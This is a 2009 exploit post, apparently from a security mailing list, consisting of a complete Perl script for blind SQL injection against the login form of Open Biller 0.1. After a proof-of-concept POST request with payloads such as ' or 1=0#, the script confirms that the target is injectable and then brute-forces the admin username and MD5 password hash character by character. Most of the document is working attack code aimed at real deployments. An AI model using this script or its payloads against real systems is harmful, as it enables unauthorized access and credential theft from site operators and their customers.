(Post Form login var 'username') BLIND SQLi exploit--Open Biller 0.1--> Jun 10 2009 08:36PM
y3nh4ck3r gmail com
#!/usr/bin/perl

#

#-----------------------------------------------------------------------
-

#(Post Form login var 'username') BLIND SQLi exploit--Open Biller 0.1-->

#-----------------------------------------------------------------------
-

#

#CMS INFORMATION:

#

#-->WEB: http://sourceforge.net/projects/geekbill/

#-->DOWNLOAD: http://sourceforge.net/projects/geekbill/

#-->DEMO: N/A

#-->CATEGORY: CMS / Portal

#-->DESCRIPTION: Open Biller aims to to be a the best open source billing

# system on the planet.The system is written in PHP/MYSQL...

#-->RELEASED: 2009-05-31

#

#CMS VULNERABILITY:

#

#-->TESTED ON: firefox 3

#-->DORK: N/A

#-->CATEGORY: BLIND SQLi exploit

#-->AFFECT VERSION: CURRENT

#-->Discovered Bug date: 2009-06-09

#-->Reported Bug date: 2009-06-09

#-->Fixed bug date: N/A

#-->Info patch: N/A

#-->Author: YEnH4ckEr

#-->mail: y3nh4ck3r[at]gmail[dot]com

#-->WEB/BLOG: N/A

#-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.

#-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)

#

#

#------------

#CONDITIONS:

#------------

#

#magic quotes=OFF

#

#---------------------------------------

#PROOF OF CONCEPT (SQL INJECTION):

#---------------------------------------

#

#POST http://[HOST]/[PATH]/index.php HTTP/1.1

#Host: [HOST]

#User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10

#Referer: http://[HOST]/[PATH]/

#

#username=%27+or+1%3D0%23&pass=1111&submit=Login

#

#username=%27+or+1%3D0%23&pass=1111&submit=Login

#

#

#######################################################################

#######################################################################

##*******************************************************************##

## SPECIAL GREETZ TO: Str0ke, JosS, Ulises2k, J. McCray, Evil1 ... ##

##*******************************************************************##

##-------------------------------------------------------------------##

##*******************************************************************##

## GREETZ TO: SPANISH H4ck3Rs community! ##

##*******************************************************************##

#######################################################################

#######################################################################

#

#

use LWP::UserAgent;

use HTTP::Request;

#Subroutines

sub lw

{

my $SO = $^O;

my $linux = "";

if (index(lc($SO),"win")!=-1){

$linux="0";

}else{

$linux="1";

}

if($linux){

system("clear");

}

else{

system("cls");

system ("title Open Biller 0.1 Blind SQL Injection Exploit");

system ("color 04");

}

}

sub request {

my $userag = LWP::UserAgent->new;

$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

$request = HTTP::Request -> new(POST => $_[0]);

$request->referer($_[0]);

$request->content_type('application/x-www-form-urlencoded');

$request->content($_[1]);

my $outcode= $userag->request($request)->as_string;

#print $outcode; #--> Active this line for debugger mode

#print $request->as_string; #--> Active this line for debugger mode

return $outcode;

}

sub error {

print "\t------------------------------------------------------------\n";

print "\tWeb isn't vulnerable!\n\n";

print "\t--->Maybe:\n\n";

print "\t\t1.-Patched.\n";

print "\t\t2.-Bad path or host.\n";

print "\t\t5.-Magic quotes ON'.\n";

print "\t\tEXPLOIT FAILED!\n";

print "\t------------------------------------------------------------\n";

}

sub testedblindsql {

print "\t-----------------------------------------------------------------\n";

print "\tWEB MAYBE BE VULNERABLE!\n\n";

print "\tTested Blind SQL Injection.\n";

print "\tStarting exploit...\n";

print "\t-----------------------------------------------------------------\n\n
";

}

sub helper {

print "\n\t[!!!] Open Biller 0.1 Blind SQL Injection Exploit\n";

print "\t[!!!] USAGE MODE: [!!!]\n";

print "\t[!!!] perl $0 [HOST] [PATH]\n";

print "\t[!!!] [HOST]: Web.\n";

print "\t[!!!] [PATH]: Home Path.\n";

print "\t[!!!] Example: perl $0 'www.example.com' 'demo'\n";

}

sub brute_length{

#Username length

$exit=0;

$i=0;

while($exit==0){

my $blindsql="username='+OR+1=1+AND+(SELECT+length(username)+FROM+users+WHE
RE+ID=1)=".$i++."#&pass=1111&submit=Login"; #injected code

$output=&request($_[0],$blindsql);

if($output =~ (/Incorrect password, please try again./)){

$exit=1;

}else{

$exit=0;

}

#This is the max length of username

if($i>60){

&error;

exit(1);

}

}

#Save column length

$length=$i-1;

print "\t<<<<<--------------------------------------------------------->>>>>\n
";

print "\tLength catched!\n";

print "\tLength Username --> ".$length."\n";

print "\tWait several minutes...\n";

print "\t<<<<<--------------------------------------------------------->>>>>\n
\n";

return $length;

}

sub exploiting {

#Bruteforcing values

$values="";

$k=1;

$z=45;

while(($k<=$_[1]) && ($z<=126)){

my $blindsql="username='+OR+1=1+AND+ascii(substring((SELECT+".$_[2]."+FROM+
users+WHERE+ID=1),".$k.",1))=".$z."#&pass=1111&submit=Login";

$output=&request($_[0],$blindsql);

if($output =~ (/Incorrect password, please try again./))

{

$values=$values.chr($z);

$k++;

$z=45;

}

#new char

$z++;

}

return $values;

}

#Main

&lw;

print "\t#######################################################\n\n";

print "\t#######################################################\n\n";

print "\t## Open Biller 0.1 Blind SQL Injection Exploit ##\n\n";

print "\t## Blind SQL Injection Exploit ##\n\n";

print "\t## ++Conditions: magic_quotes=OFF ##\n\n";

print "\t## Author: Y3nh4ck3r ##\n\n";

print "\t## Contact:y3nh4ck3r[at]gmail[dot]com ##\n\n";

print "\t## Proud to be Spanish! ##\n\n";

print "\t#######################################################\n\n";

print "\t#######################################################\n\n";

#Init variables

my $host=$ARGV[0];

my $path=$ARGV[1];

$numArgs = $#ARGV + 1;

if($numArgs<=1)

{

&helper;

exit(1);

}

#Build uri

my $finalhost="http://".$host."/".$path."/index.php";

$finalrequest = $finalhost;

#Testing blind sql injection and magic_quotes (any error?)

$send_post1="username=%27+or+1%3D1%23&pass=1111&submit=Login";

$output1=&request($finalrequest,$send_post1);

$send_post2="username=%27+or+1%3D0%23&pass=1111&submit=Login";

$output2=&request($finalrequest,$send_post2);

if ($output1 eq $output2)

{

#Not injectable

&error;

exit(1);

}else{

#blind sql injection is available

&testedblindsql;

}

#Bruteforcing length

$length_user=&brute_length($finalrequest);

#Bruteforcing username...

$user=&exploiting($finalrequest,$length_user,'username');

#Bruteforcing password md5 hash...

$pwhash=&exploiting($finalrequest,32,'password');

#final checking

if((!$user) || (!$pwhash)){

&error;

exit(1);

}

print "\n\t\t*************************************************\n";

print "\t\t********* EXPLOIT EXECUTED SUCCESSFULLY ********\n";

print "\t\t*************************************************\n\n";

print "\t\tAdmin-username: ".$user."\n";

print "\t\tAdmin-password: ".$pwhash."\n\n";

print "\n\t\t<<----------------------FINISH!-------------------->>\n\n";

print "\t\t<<---------------Thanks to: y3nh4ck3r-------------->>\n\n";

print "\t\t<<------------------------EOF---------------------->>\n\n";

exit(1);

#Ok...all job done

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